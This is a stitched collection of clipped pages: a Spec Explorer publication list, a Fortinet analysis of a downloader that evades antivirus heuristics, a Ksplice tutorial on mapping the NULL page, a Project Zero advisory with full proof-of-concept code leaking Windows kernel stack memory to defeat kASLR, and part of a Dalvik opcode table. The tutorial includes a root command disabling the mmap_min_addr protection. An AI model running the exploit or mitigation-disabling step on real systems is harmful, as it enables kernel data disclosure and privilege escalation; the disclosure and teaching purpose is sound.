  * Design error. A logical inconsistency in the system's intended behavior. 

## What components do belong to Spec Explorer?

Spec Explorer 2004 consists of:

  * The software modeling languages Spec\# and AsmL.
  * An explicit-state model checker, which allows the user to search the \(possibly infinite\) space of all possible sequences of method invocations that 1\) do not violate the pre- and postconditions and invariants of the system's contracts and 2\) are relevant to a user-specified set of test properties.
  * A traversal engine, which unwinds the resulting finite state machine to produce behavioral tests that cover all explored transitions.
  * A binding mechanism allows users to associate actions of the model with methods of an implementation written .NET language. Both managed and unmanaged implementations may be tested if the .NET interop features are used.
  * A conformance checker that executes the generated behavioral tests. Alternatively, Spec Explorer supports an “on-the-fly” mode where test derivation \(via model checking and traversal\) and conformance checking of the implementation occur together. 

## What is the Future of Spec Explorer?

**The next generation of Spec Explorer is now available from** : Spec Explorer
2010

This is the original research version: Spec Explorer \(version 1.0.9520\).

You can also use NModel**, which is** is an _open source_ model-based analysis
and testing framework for model programs written in C\#. It is explained and
used in the book Model-based Software Testing and Analysis with C\#.

Publications

## 2008

  * Margus Veanes, Colin Campbell, Wolfgang Grieskamp, Wolfram Schulte, Nikolai Tillmann, and Lev Nachmanson, Model-Based Testing of Object-Oriented Reactive Systems with Spec Explorer, in Formal Methods and Testing, vol. 4949, pp. 39-76, Springer Verlag, 2008

## 2007

  * Margus Veanes, Colin Campbell, and Wolfram Schulte, Composition of Model Programs, in _FORTE_ , Springer Verlag, June 2007
  * Margus Veanes, Juhan Ernits, and Colin Campbell,  State Isomorphism in Model Programs with Abstract Data Structures, in _FORTE'07_ , Springer Verlag, June 2007

## 2006

  * Wolfgang Grieskamp, Nikolai Tillmann, and Wolfram Schulte, XRT- Exploring Runtime for .NET Architecture and Applications, in _Electr. Notes Theor. Comput. Sci._ , vol. 144, no. 3, pp. 3-26, 2006

## 2005

  * Wolfgang Grieskamp, Nikolai Tillmann, Colin Campbell, Wolfram Schulte, and Margus Veanes, Action Machines - Towards a Framework for Model Composition, Exploration and Conformance Testing Based on Symbolic Computation, in _Quality Software, 2005. \(QSIC 2005\). Fifth International Conference on_ , IEEE Computer Society, September 2005
  * Andreas Blass, Yuri Gurevich, Lev Nachmanson, and Margus Veanes, Play to Test, in _FATES 2005_ , Springer Verlag, July 2005
  * Colin Campbell, Margus Veanes, Jiale Huo, and Alexandre Petrenko, Multiplexing of Partially Ordered Events, in _TestCom 2005_ , Springer Verlag, June 2005
  * Margus Veanes, Colin Campbell, Wolfram Schulte, and Nikolai Tillmann, Online testing with model programs, in _ESEC/SIGSOFT FSE_ , ACM, 2005
  * Margus Veanes, Colin Campbell, Wolfram Schulte, and Pushmeet Kohli, On-The-Fly Testing of Reactive Systems, no. MSR-TR-2005-05, January 2005
  * Colin Campbell, Wolfgang Grieskamp, Lev Nachmanson, Wolfram Schulte, Nikolai Tillmann, and Margus Veanes, Testing Concurrent Object-Oriented Systems with Spec Explorer, in _FM_ , Springer, 2005
  * Andreas Blass, Yuri Gurevich, Lev Nachmanson, and Margus Veanes, Play to test, no. MSR-TR-2005-04, January 2005
  * Dean Rosenzweig, Davor Runje, and Wolfram Schulte, Model-Based Testing of Cryptographic Protocols, in _TGC_ , Springer, 2005
  * Colin Campbell and Margus Veanes, Exploration with Multiple State Groupings, in _Abstract State Machines 2005_ , 2005

## 2004

  * Uwe Glässer, Yuri Gurevich, and Margus Veanes, Abstract Communication Model for Distributed Systems, in _IEEE TRANSACTIONS ON SOFTWARE ENGINEERING_ , vol. 30, no. 7, pp. 1-15, IEEE Computer Society, July 2004
  * Lev Nachmanson, Margus Veanes, Wolfram Schulte, Nikolai Tillmann, and Wolfgang Grieskamp, Optimal strategies for testing nondeterministic systems, in _ISSTA 2004_ , ACM, 2004
  * Wolfgang Grieskamp, Nikolai Tillmann, and Margus Veanes, Instrumenting Scenarios in a Model-Driven Development Environment, in _Journal of Information and Software Technology_ , vol. 46, no. 15, pp. 1027-1036, Elsevier , 2004
  * Mike Barnett, Wolfgang Grieskamp, Lev Nachmanson, Wolfram Schulte, Nikolai Tillmann, and Margus Veanes, Towards a Tool Environment for Model-Based Testing with AsmL, in _FATES 2003_ , Springer Verlag, 2004

## 2003

  * Wolfgang Grieskamp, Lev Nachmanson, Nikolai Tillmann, and Margus Veanes, Test Case Generation from AsmL Specifications, in _ASM 2003_ , Springer Verlag, March 2003
  * Mike Barnett, Wolfgang Grieskamp, Lev Nachmanson, Wolfram Schulte, Nikolai Tillmann, and Margus Veanes, Model-Based Testing with AsmL .NET, in _1st European Conference on Model-Driven Software Engineering_ , 2003
  * Margus Veanes and Rostislav Yavorsky, Combined Algorithm for Approximating a Finite State Abstraction of a Large System, in _ICSE 2003/Scenarios Workshop_ , 2003

## 2002

  * Wolfgang Grieskamp, Yuri Gurevich, Wolfram Schulte, and Margus Veanes, Generating finite state machines from abstract state machines, in _ISSTA 2002_ , July 2002

  

# Fortinet Blog | News and Threat Research Avoiding Heuristic Detection
**Created:**| _10/16/2013 10:11:11 AM_  
---|---  
**Updated:**| _10/16/2013 10:11:11 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis antivirus_  
  

# **A** voiding Heuristic Detection****

Antivirus software installed on your machine can detect malware, if it knows
the signature or can detect the unique pattern for malware**.** On the other
hand, malware attached to an email or downloaded from a website can also be
tagged as malicious using heuristic technology**.**

Some heuristic detection methods involve looking into some readable and
printable strings within the file, such as the names of APIs \(Application
Programming Interface\) that can be used for malicious activities**.** These
APIs are not malicious by themselves, but a combination of them in a single
executable file can trigger the heuristic detection and flag the file as
malicious**.**

Some heuristic detection methods also use the entropy of the file in order to
flag it as suspicious**.** Entropy is a measure of how the bytes are arranged
within the file**.** A high entropy value tells us that a file is encrypted,
which can also trigger heurisitic detection**.**

**New Downloader**

We found a new downloader that tries to evade heuristic detection by
minimizing the exposure of some important APIs**.** Moreover, the whole file
is not encrypted, which helps to avoid entropy-based heuristic detection**.**
This downloader is detected as W32/Onkod**.**

Enumerating the printable strings within Onkod shows no sign of API names and
no URL links \(see Figure 1\) that can suggest malicious intent**.** The only
noticeable element is the string ” _Mozilla/5**.** 0 \(Windows NT 6.1; WOW64;
rv:22.0\) Gecko/20100101 Firefox/22.0_”**.** The said string indicates that it
is going to use some sort of browsing or internet activity**.** We will refer
back to this list in the following sections**.**

The boxed strings will play some important roles in the malware’s execution,
as we will show later on**.**

<img src='img/Temp2_3280.png' alt='onkod strings 2' />

_Figure 1**.** Printable strings in the malware body._

**Executing the Malware**

After executing the file, we detected some internet activities which suggest
that there should be some internet-related APIs triggered within the code**.**
However, this was not shown in the list of strings**.**

The internet-related APIs are encrypted, as well as the other APIs needed by
the malware**.** After the decryption, we can clearly see the names of these
APIs, including those that the malware uses for its internet connections**.**
These APIs are resolved using the GetProcAddress API \(see Figure 2\)**.**

<img src='img/Temp2_3279.png' alt='onkod newAPIs' />

_Figure 2**.** Resolving APIs using GetProcAddress._

After resolving the needed APIs, the malware downloads the file “av.exe” \(see
Figure 3\) and saves it to the %Temp% folder using a 10-numeric pseudo-random
filename, such as “4712434768.exe”**.**

<img src='img/Temp2_3277.png' alt='onkod downloading 2' />

_Figure 3**.** Downloading the file "av.exe"._

The User-Agent \(“Mozilla/5**.** 0 \(Windows NT 6.1; WOW64; rv:22.0\)
Gecko/20100101 Firefox/22.0”\) that was used in downloading the file can be
found in the list of strings in Figure 1**.**

During execution, the downloaded file that is saved to the %Temp% folder is
executed**.** The downloaded file then drops another malware, which is a
variant of the FakeAV trojan**.**

Finally, W32/Onkod displays a message box, which is shown in Figure 4**.** The
title and message can be also found in the list of strings shown in Figure
1**.**

Below is the fake error message that signifies the completion of the
downloader’s process**.** This is displayed while the FakeAV variant is now
running in the background**.**

<img src='img/Temp2_3278.png' alt='onkod msgbox' />

_Figure 4. Fake error message box displayed**.**_

**WRAP UP**

W32/Onkod avoids heuristic detection by hiding its suspicious properties**.**
However, digging a little deeper into the code reveals that it is capable of
doing more damage into a system once it is able to pass through this layer of
security**.**

If the malware is already running, always be on the lookout for some of its
visible symptoms, such as its fake error message and unwanted internet
activities**.**

In order to avoid being infected by these types of malware, always take
extreme care when executing normal-looking executable files**.** Better yet,
do not execute any file that comes from an email or from an untrusted
website**.**

****

# Ksplice » Much ado about NULL: An introduction to virtual memory - System
administration and software blog

**Created:**| _4/4/2010 8:19:19 PM_  
---|---  
**Updated:**| _4/4/2010 8:20:15 PM_  
**Author:**| __  
**Tags:**| _bookmark Tutorials_  
  

## Much ado about NULL: An introduction to virtual memory

Posted in Programming on March 30th, 2010 by Nelson Elhage – 18 Comments

Here at Ksplice, we’re always keeping a very close eye on vulnerabilities that
are being announced in Linux. And in the last half of last year, it was very
clear that NULL pointer dereference vulnerabilities were the current big
thing. Brad Spengler made it abundantly clear to anyone who was paying the
least bit attention that these vulnerabilities, far more than being mere
denial of service attacks, were trivially exploitable privilege escalation
vulnerabilities. Some observers even dubbed 2009 the year of the kernel NULL
pointer dereference.

If you’ve ever programmed in C, you’ve probably run into a `NULL` pointer
dereference at some point. But almost certainly, all it did was crash your
program with the dreaded “Segmentation Fault”. Annoying, and often painful to
debug, but nothing more than a crash. So how is it that this simple
programming error becomes so dangerous when it happens in the kernel? Inspired
by all the fuss, this post will explore a little bit of how memory works
behind the scenes on your computer. By the end of today’s installment, we’ll
understand how to write a C program that reads and writes to a `NULL` pointer
without crashing. In a future post, I’ll take it a step further and go all the
way to showing how an attacker would exploit a `NULL` pointer dereference in
the kernel to take control of a machine\!

## What’s in a pointer?

There’s nothing fundamentally magical about pointers in C \(or assembly, if
that’s your thing\). A pointer is just an integer, that \(with the help of the
hardware\) refers to a location somewhere in that big array of bits we call a
computer’s memory. We can write a C program to print out a random pointer:

[code]

    #include <stdio.h>
    int main(int argc, char **argv) {
      printf("The argv pointer = %d\n", argv);
      return 0;
    }
    
    
[/code]

Which, if you run it on my machine, prints:

[code]

    The argv pointer = 1680681096
    
    
[/code]

\(Pointers are conventionally written in hexadecimal, which would make that
`0x642d2888`, but that’s just a notational thing. They’re still just
integers.\)

`NULL` is only slightly special as a pointer value: if we look in stddef.h, we
can see that it’s just defined to be the pointer with value 0. The only thing
really special about `NULL` is that, by convention, the operating system sets
things up so that `NULL` is an invalid pointer, and any attempts to read or
write through it lead to an error, which we call a **segmentation fault**.
However, this is just convention; to the hardware, `NULL` is just another
possible pointer value.

But what do those integers actually mean? We need to understand a little bit
more about how memory works in a modern computer. In the old days \(and still
on many embedded devices\), a pointer value was literally an index into all of
the memory on those little RAM chips in your computer:

<img src='img/Temp2_4811.jpg' width='136' height='300' alt='Diagram of
Physical Memory Addresses' />

Mapping pointers directly to hardware memory

This was true for every program, including the operating system itself. You
can probably guess what goes wrong here: suppose that Microsoft Word is
storing your document at address `700` in memory. Now, you’re browsing the
web, and a bug in Internet Explorer causes it to start scribbling over random
memory and it happens to scribble over memory around address `700`. Suddenly,
**bam** , Internet Explorer takes Word down with it. It’s actually even worse
than that: a bug in IE can even take down the entire operating system.

This was widely regarded as a bad move, and so all modern hardware supports,
and operating systems use, a scheme called virtual memory. What this means it
that every program running on your computer has its own namespace for pointers
\(from 0 to 232-1, on a 32-bit machine\). The value `700` means something
completely different to Microsoft Word and Internet Explorer, and neither can
access the other’s memory. The operating system is in charge of managing these
so-called address spaces, and mapping different pieces of each program’s
address space to different pieces of physical memory.

<img src='img/Temp2_4812.jpg' width='272' height='300' alt='A diagram of
virtual memory' />

The world with Virtual Memory. Dark gray shows portions of the address space
that refer to valid memory.

## `mmap(2)`

One feature of this setup is that while each process has its own 232 possible
addresses, not all of them need to be valid \(correspond to real memory\). In
particular, by default, the `NULL` or `0` pointer does not correspond to valid
memory, which is why accessing it leads to a crash.

Because each application has its own address space, however, it is free to do
with it as it wants. For instance, you’re welcome to declare that `NULL`
should be a valid address in your application. We refer to this as “mapping”
the `NULL` page, because you’re declaring that that area of memory should map
to some piece of physical memory.

On Linux \(and other UNIX\) systems, the function call used for mapping
regions of memory is `mmap(2)`. `mmap`is defined as:

[code]

    void *mmap(void *addr, size_t length, int prot, int flags,
               int fd, off_t offset);
    
    
[/code]

Let’s go through those arguments in order \(All of this information comes from
the man page\):

`addr`

    This is the address where the application wants to map memory. If `MAP_FIXED` is not specified in`flags`, `mmap` may select a different address if the selected one is not available or inappropriate for some reason. 
`length`

    The length of the region the application wants to map. Memory can only be mapped in increments of a “page”, which is 4k \(4096 bytes\) on x86 processors. 
`prot`

    Short for “protection”, this argument must be a combination of one or more of the values `PROT_READ`,`PROT_WRITE`, `PROT_EXEC`, or `PROT_NONE`, indicating whether the application should be able to read, write, execute, or none of the above, the mapped memory. 
`flags`

    Controls various options about the mapping. There are a number of flags that can go here. Some interesting ones are `MAP_PRIVATE`, which indicates the mapping should not be shared with any other process, `MAP_ANONYMOUS`, which indicates that the `fd` argument is irrelevant, and `MAP_FIXED`, which indicates that we want memory located exactly at `addr`. 
`fd`

    The primary use of `mmap` is not just as a memory allocator, but in order to map files on disk to appear in a process’s address space, in which case `fd` refers to an open file descriptor to map. Since we just want a random chunk of memory, we’re going pass `MAP_ANONYMOUS` in `flags`, which indicates that we don’t want to map a file, and `fd` is irrelevant. 
`offset`

    This argument would be used with `fd` to indicate which portion of a file we wanted to map. 
`mmap` returns the address of the new mapping, or `MAP_FAILED` if something
went wrong.

If we just want to be able to read and write the `NULL` pointer, we’ll want to
set `addr` to 0 and `length` to 4096, in order to map the first page of
memory. We’ll need `PROT_READ` and `PROT_WRITE` to be able to read and write,
and all three of the `flags` I mentioned. `fd` and `offset` are irrelevant;
we’ll set them to `-1` and `0`respectively.

Putting it all together, we get the following short C program, which
successfully reads and writes through a`NULL` pointer without crashing\!

\(Note that most modern systems actually specifically disallow mapping the
NULL page, out of security concerns. To run the following example on a recent
Linux machine at home, you’ll need to run `# echo 0 >
/proc/sys/vm/mmap_min_addr` as root, first.\)

[code]

    #include <sys/mman.h>
    #include <stdio.h>
    
    int main() {
      int *ptr = NULL;
      if (mmap(0, 4096, PROT_READ|PROT_WRITE,
               MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0)
          == MAP_FAILED) {
        perror("Unable to mmap(NULL)");
        fprintf(stderr, "Is /proc/sys/vm/mmap_min_addr non-zero?\n");
        return 1;
      }
      printf("Dereferencing my NULL pointer yields: %d\n", *ptr);
      *ptr = 17;
      printf("Now it's: %d\n", *ptr);
      return 0;
    }
    
    
[/code]

Next time, we’ll look at how a process can not only map `NULL` in its own
address space, but can also create mappings in the kernel’s address space.
And, I’ll show you how this lets an attacker use a `NULL`dereference in the
kernel to take over the entire machine. Stay tuned\!

# Windows 10 'win32kfull\!SfnINLPUAHDRAWMENUITEM' Stack Memory Disclosure -
CXSecurity.com

**Created:**| _5/7/2017 10:44:09 AM_  
---|---  
**Updated:**| _5/7/2017 10:44:09 AM_  
**Author:**| __  
**Tags:**| _windows security poc_  
  

  

|

####

#### **Windows 10 'win32kfull\!SfnINLPUAHDRAWMENUITEM' Stack Memory
Disclosure**

| **Published**| **Credit** | **Risk**  
---|---|---  
###### 2017.04.13

|

######  Google Security Research

|

######  High  
**CWE** | **CVE** | **Local** | **Remote**  
---|---|---|---  
**

###### N/A

** | **
###### CVE-2017-0167

** | 
###### **Yes**

|

###### No  
---  
**CVSS Base Score** | **Impact Subscore**|  | **Exploitability Subscore**  
---|---|---|---  
**2.1/10** | **2.9/10**|  | **3.9/10**  
**Exploit range** | **Attack complexity**|  | **Authentication**  
---|---|---|---  
**Local** | **Low**|  | **No required**  
**Confidentiality impact** | **Integrity impact**|  | **Availability impact**  
**Partial** | **None**|  | **None**  
/\*  
  
We have discovered that it is possible to disclose portions of uninitialized
kernel stack memory to user-mode applications in Windows 10 indirectly through
the win32k\!NtUserPaintMenuBar system call, or more specifically, through the
user32\!fnINLPUAHDRAWMENUITEM user-mode callback \(\#107 on Windows 10 1607
32-bit\).  
  
In our tests, the callback is invoked under the following stack trace:  
  
\--- cut ---  
a75e6a8c 81b63813 nt\!memcpy  
a75e6aec 9b1bb7bc nt\!KeUserModeCallback+0x163  
a75e6c10 9b14ff79 win32kfull\!SfnINLPUAHDRAWMENUITEM+0x178  
a75e6c68 9b1501a3 win32kfull\!xxxSendMessageToClient+0xa9  
a75e6d20 9b15361c win32kfull\!xxxSendTransformableMessageTimeout+0x133  
a75e6d44 9b114420 win32kfull\!xxxSendMessage+0x20  
a75e6dec 9b113adc win32kfull\!xxxSendMenuDrawItemMessage+0x102  
a75e6e48 9b1138f4 win32kfull\!xxxDrawMenuItem+0xee  
a75e6ecc 9b110955 win32kfull\!xxxMenuDraw+0x184  
a75e6f08 9b11084e win32kfull\!xxxPaintMenuBar+0xe1  
a75e6f34 819a8987 win32kfull\!NtUserPaintMenuBar+0x7e  
a75e6f34 77d74d50 nt\!KiSystemServicePostCall  
00f3f08c 7489666a ntdll\!KiFastSystemCallRet  
00f3f090 733ea6a8 win32u\!NtUserPaintMenuBar+0xa  
00f3f194 733e7cef uxtheme\!CThemeWnd::NcPaint+0x1fc  
00f3f1b8 733ef3c0 uxtheme\!OnDwpNcActivate+0x3f  
00f3f22c 733ede88 uxtheme\!\_ThemeDefWindowProc+0x800  
00f3f240 75d8c2aa uxtheme\!ThemeDefWindowProcW+0x18  
00f3f298 75d8be4a USER32\!DefWindowProcW+0x14a  
00f3f2b4 75db53cf USER32\!DefWindowProcWorker+0x2a  
00f3f2d8 75db8233 USER32\!ButtonWndProcW+0x2f  
00f3f304 75d8e638 USER32\!\_InternalCallWinProc+0x2b  
00f3f3dc 75d8e3a5 USER32\!UserCallWinProcCheckWow+0x218  
00f3f438 75da5d6f USER32\!DispatchClientMessage+0xb5  
00f3f468 77d74c86 USER32\!\_\_fnDWORD+0x3f  
00f3f498 74894c3a ntdll\!KiUserCallbackDispatcher+0x36  
00f3f49c 75d9c1a7 win32u\!NtUserCreateWindowEx+0xa  
00f3f774 75d9ba68 USER32\!VerNtUserCreateWindowEx+0x231  
00f3f84c 75d9b908 USER32\!CreateWindowInternal+0x157  
00f3f88c 000d15b7 USER32\!CreateWindowExW+0x38  
\--- cut ---  
  
The layout of the i/o structure passed down to the user-mode callback that
we're seeing is as follows:  
  
\--- cut ---  
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................  
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................  
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................  
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................  
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................  
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................  
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................  
00000070: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................  
00000080: 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ................  
\--- cut ---  
  
Where 00 denote bytes which are properly initialized, while ff indicate
uninitialized values copied back to user-mode. As shown above, there are 20
bytes leaked at offsets 0x6c-0x7f. We have determined that these bytes
originally come from a smaller structure of size 0x74, allocated in the stack
frame of the win32kfull\!xxxSendMenuDrawItemMessage function.  
  
We can easily demonstrate the vulnerability with a kernel debugger \(WinDbg\),
by setting a breakpoint at win32kfull\!xxxSendMenuDrawItemMessage, filling the
local structure with a marker 0x41 \('A'\) byte after stepping through the
function prologue, and then observing that these bytes indeed survived any
kind of initialization and are printed out by the attached proof-of-concept
program:  
  
\--- cut ---  
3: kd> ba e 1 win32kfull\!xxxSendMenuDrawItemMessage  
3: kd> g  
Breakpoint 0 hit  
win32kfull\!xxxSendMenuDrawItemMessage:  
9b11431e 8bff mov edi,edi  
1: kd> p  
win32kfull\!xxxSendMenuDrawItemMessage+0x2:  
9b114320 55 push ebp  
1: kd> p  
win32kfull\!xxxSendMenuDrawItemMessage+0x3:  
9b114321 8bec mov ebp,esp  
1: kd> p  
win32kfull\!xxxSendMenuDrawItemMessage+0x5:  
9b114323 81ec8c000000 sub esp,8Ch  
1: kd> p  
win32kfull\!xxxSendMenuDrawItemMessage+0xb:  
9b114329 a1e0dd389b mov eax,dword ptr \[win32kfull\!\_\_security\_cookie
\(9b38dde0\)\]  
1: kd> p  
win32kfull\!xxxSendMenuDrawItemMessage+0x10:  
9b11432e 33c5 xor eax,ebp  
1: kd> p  
win32kfull\!xxxSendMenuDrawItemMessage+0x12:  
9b114330 8945fc mov dword ptr \[ebp-4\],eax  
1: kd> p  
win32kfull\!xxxSendMenuDrawItemMessage+0x15:  
9b114333 833d0ca6389b00 cmp dword ptr \[win32kfull\!gihmodUserApiHook
\(9b38a60c\)\],0  
1: kd> f ebp-78 ebp-78+74-1 41  
Filled 0x74 bytes  
1: kd> g  
\--- cut ---  
  
Then, the relevant part of the PoC output should be similar to the following:  
  
\--- cut ---  
00000000: 88 b2 12 01 92 00 00 00 00 00 00 00 01 00 00 00 ................  
00000010: 00 00 00 00 39 05 00 00 01 00 00 00 00 01 00 00 ....9...........  
00000020: 61 02 0a 00 1a 08 01 01 08 00 00 00 1f 00 00 00 a...............  
00000030: 50 00 00 00 32 00 00 00 00 00 00 00 61 02 0a 00 P...2.......a...  
00000040: 1a 08 01 01 00 0a 00 00 00 00 00 00 00 00 00 00 ................  
00000050: 00 00 00 00 3a 00 00 00 0f 00 00 00 00 00 00 00 ....:...........  
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA  
00000070: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
00000080: a0 64 d8 77 60 66 d8 77 ?? ?? ?? ?? ?? ?? ?? ?? .d.w\`f.w........  
\--- cut ---  
  
The 20 aforementioned bytes are clearly leaked to ring-3 in an unmodified,
uninitialized form. If we don't manually insert markers into the kernel stack,
an example output of the PoC can be as follows:  
  
\--- cut ---  
00000000: 88 b2 ab 01 92 00 00 00 00 00 00 00 01 00 00 00 ................  
00000010: 00 00 00 00 39 05 00 00 01 00 00 00 00 01 00 00 ....9...........  
00000020: db 01 1d 00 47 08 01 17 08 00 00 00 1f 00 00 00 ....G...........  
00000030: 50 00 00 00 32 00 00 00 00 00 00 00 db 01 1d 00 P...2...........  
00000040: 47 08 01 17 00 0a 00 00 00 00 00 00 00 00 00 00 G...............  
00000050: 00 00 00 00 3a 00 00 00 0f 00 00 00 00 00 00 00 ....:...........  
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 28 d3 ab 81 ............\(...  
00000070: 80 aa 20 9b 33 26 fb af fe ff ff ff 00 5e 18 94 .. .3&.......^..  
00000080: a0 64 d8 77 60 66 d8 77 ?? ?? ?? ?? ?? ?? ?? ?? .d.w\`f.w........  
\--- cut ---  
  
Starting at offset 0x6C, we can observe leaked contents of a kernel
\_EH3\_EXCEPTION\_REGISTRATION structure:  
  
.Next = 0x81abd328  
.ExceptionHandler = 0x9b20aa80  
.ScopeTable = 0xaffb2633  
.TryLevel = 0xfffffffe  
  
This immediately discloses the address of the kernel-mode stack and the win32k
image in memory -- information that is largely useful for local attackers
seeking to defeat the kASLR exploit mitigation, or disclose other sensitive
data stored in the kernel address space.  
\*/  
  
\#include <Windows.h>  
\#include <cstdio>  
  
namespace globals \{  
LPVOID \(WINAPI \*Orig\_fnINLPUAHDRAWMENUITEM\)\(LPVOID\);  
\} // namespace globals;  
  
VOID PrintHex\(PBYTE Data, ULONG dwBytes\) \{  
for \(ULONG i = 0; i < dwBytes; i += 16\) \{  
printf\("%.8x: ", i\);  
  
for \(ULONG j = 0; j < 16; j++\) \{  
if \(i + j < dwBytes\) \{  
printf\("%.2x ", Data\[i + j\]\);  
\}  
else \{  
printf\("?? "\);  
\}  
\}  
  
for \(ULONG j = 0; j < 16; j++\) \{  
if \(i + j < dwBytes && Data\[i + j\] >= 0x20 && Data\[i + j\] <= 0x7e\) \{  
printf\("%c", Data\[i + j\]\);  
\}  
else \{  
printf\("."\);  
\}  
\}  
  
printf\("\n"\);  
\}  
\}  
  
PVOID \*GetUser32DispatchTable\(\) \{  
\_\_asm\{  
mov eax, fs:30h  
mov eax, \[eax + 0x2c\]  
\}  
\}  
  
BOOL HookUser32DispatchFunction\(UINT Index, PVOID lpNewHandler, PVOID
\*lpOrigHandler\) \{  
PVOID \*DispatchTable = GetUser32DispatchTable\(\);  
DWORD OldProtect;  
  
if \(\!VirtualProtect\(DispatchTable, 0x1000, PAGE\_READWRITE, &OldProtect\)\)
\{  
printf\("VirtualProtect\#1 failed, %d\n", GetLastError\(\)\);  
return FALSE;  
\}  
  
\*lpOrigHandler = DispatchTable\[Index\];  
DispatchTable\[Index\] = lpNewHandler;  
  
if \(\!VirtualProtect\(DispatchTable, 0x1000, OldProtect, &OldProtect\)\) \{  
printf\("VirtualProtect\#2 failed, %d\n", GetLastError\(\)\);  
return FALSE;  
\}  
  
return TRUE;  
\}  
  
LPVOID WINAPI fnINLPUAHDRAWMENUITEM\_Hook\(LPVOID Data\) \{  
printf\("----------\n"\);  
PrintHex\(\(PBYTE\)Data, 0x88\);  
return globals::Orig\_fnINLPUAHDRAWMENUITEM\(Data\);  
\}  
  
int main\(\) \{  
// Hook the user32\!fnINLPUAHDRAWMENUITEM user-mode callback dispatch
function.  
// The \#107 index is specific to Windows 10 1607 32-bit.  
if \(\!HookUser32DispatchFunction\(107, fnINLPUAHDRAWMENUITEM\_Hook, \(PVOID
\*\)&globals::Orig\_fnINLPUAHDRAWMENUITEM\)\) \{  
return 1;  
\}  
  
// Create a menu.  
HMENU hmenu = CreateMenu\(\);  
AppendMenu\(hmenu, MF\_STRING, 1337, L"Menu item"\);  
  
// Create a window with the menu in order to trigger the vulnerability.  
HWND hwnd = CreateWindowW\(L"BUTTON", L"TestWindow", WS\_OVERLAPPEDWINDOW | WS\_VISIBLE,  
CW\_USEDEFAULT, CW\_USEDEFAULT, 100, 100, NULL, hmenu, 0, 0\);  
DestroyWindow\(hwnd\);  
  
return 0;  
\}

**

##### _References:_

**

https://bugs.chromium.org/p/project-zero/issues/detail?id=1192

* * *  
---  
**See this note in RAW Version**

|  |  |  <img src='img/Temp2_9534.png' width='50' height='50' alt='Bugtraq RSS' />  
**Bugtraq** |  |  <img src='img/Temp2_9534.png' width='50' height='50' alt='CVE RSS' />  
**CVEMAP** |  |  <img src='img/Temp2_9537.png' width='50' height='50' alt='REDDIT' />  
**REDDIT** |  |  <img src='img/Temp2_9536.png' width='50' height='50' alt='DIGG' />  
**DIGG** |  |  <img src='img/Temp2_9535.png' width='50' height='50' alt='LinkedIn' />  
**LinkedIn**  
---|---|---|---|---|---|---|---|---|---|---|---  
  
  
  

# Dalvik opcodes

**Created:**| _4/13/2011 7:44:22 AM_  
---|---  
**Updated:**| _4/13/2011 7:44:22 AM_  
**Author:**| __  
**Tags:**| _reversing Java android_  
  

# Dalvik opcodes

Author: Gabor Paller  

  
Vx values in the table denote a Dalvik register. Depending on the instruction,
16, 256 or 64k registers can be accessed. Operations on long and double values
use two registers, e.g. a double value addressed in the V0 register occupies
the V0 and V1 registers.  
  
Boolean values are stored as 1 for true and 0 for false. Operations on
booleans are translated into integer operations.  
  
All the examples are in hig-endian format, e.g. 0F00 0A00 is coded as 0F, 00,
0A, 00 sequence.  
  
Note there are no explanation/example at some instructions. This means that I
have not seen that instruction "in the wild" and its presence/name is only
known from Android opcode constant list.  
  
Opcode \(hex\)  
| Opcode name  
| Explanation  
| Example  
  
---|---|---|---  
00  
| nop  
| No operation  
| 0000 - nop  
  
01  
| move vx,vy  
| Moves the content of vy into vx. Both registers must be in the first 256
register range.  
| 0110 - move v0, v1  
Moves v1 into v0.  
  
02  
| move/from16 vx,vy  
| Moves the content of vy into vx. vy may be in the 64k register range while
vx is one of the first 256 registers.  
| 0200 1900 - move/from16 v0, v25  
Moves v25 into v0.  
  
03  
| move/16  
|  
|  
  
04  
| move-wide  
|  
|  
  
05  
| move-wide/from16 vx,vy  
| Moves a long/double value from vy to vx. vy may be in the 64k register range
while wx is one of the first 256 registers.  
| 0516 0000 - move-wide/from16 v22, v0  
Moves v0 into v22.  
  
06  
| move-wide/16  
|  
|  
  
07  
| move-object vx,vy  
| Moves the object reference from vy to vx.  
| 0781 - move-object v1, v8  
Moves the object reference in v8 to v1.  
  
08  
| move-object/from16 vx,vy  
| Moves the object reference from vy to vx, vy can address 64k registers and
vx can address 256 registers.  
| 0801 1500 - move-object/from16 v1, v21  
Move the object reference in v21 to v1.  
  
09  
| move-object/16  
|  
|  
  
0A  
| move-result vx  
| Move the result value of the previous method invocation into vx.  
| 0A00 - move-result v0  
Move the return value of a previous method invocation into v0.  
  
0B  
| move-result-wide vx  
| Move the long/double result value of the previous method invocation into
vx,vx+1.  
| 0B02 - move-result-wide v2  
Move the long/double result value of the previous method invocation into
v2,v3.  
  
0C  
| move-result-object vx  
| Move the result object reference of the previous method invocation into vx.  
| 0C00 - move-result-object v0  
  
0D  
| move-exception vx  
| Move the exception object reference thrown during a method invocation into
vx.  
| 0D19 - move-exception v25  
  
0E  
| return-void  
| Return without a return value  
| 0E00 - return-void  
  
0F  
| return vx  
| Return with vx return value  
| 0F00 - return v0  
Returns with return value in v0.  
  
  
10  
| return-wide vx  
| Return with double/long result in vx,vx+1.  
| 1000 - return-wide v0  
Returns with a double/long value in v0,v1.  
  
11  
| return-object vx  
| Return with vx object reference value.  
| 1100 - return-object v0  
Returns with object reference value in v0  
  
12  
| const/4 vx,lit4  
| Puts the 4 bit constant into vx  
| 1221 - const/4 v1, \#int2  
Moves literal 2 into v1. The destination register is in the lower 4 bit in the
second byte, the literal 2 is in the higher 4 bit.  
  
13  
| const/16 vx,lit16  
| Puts the 16 bit constant into vx  
| 1300 0A00 - const/16 v0, \#int 10  
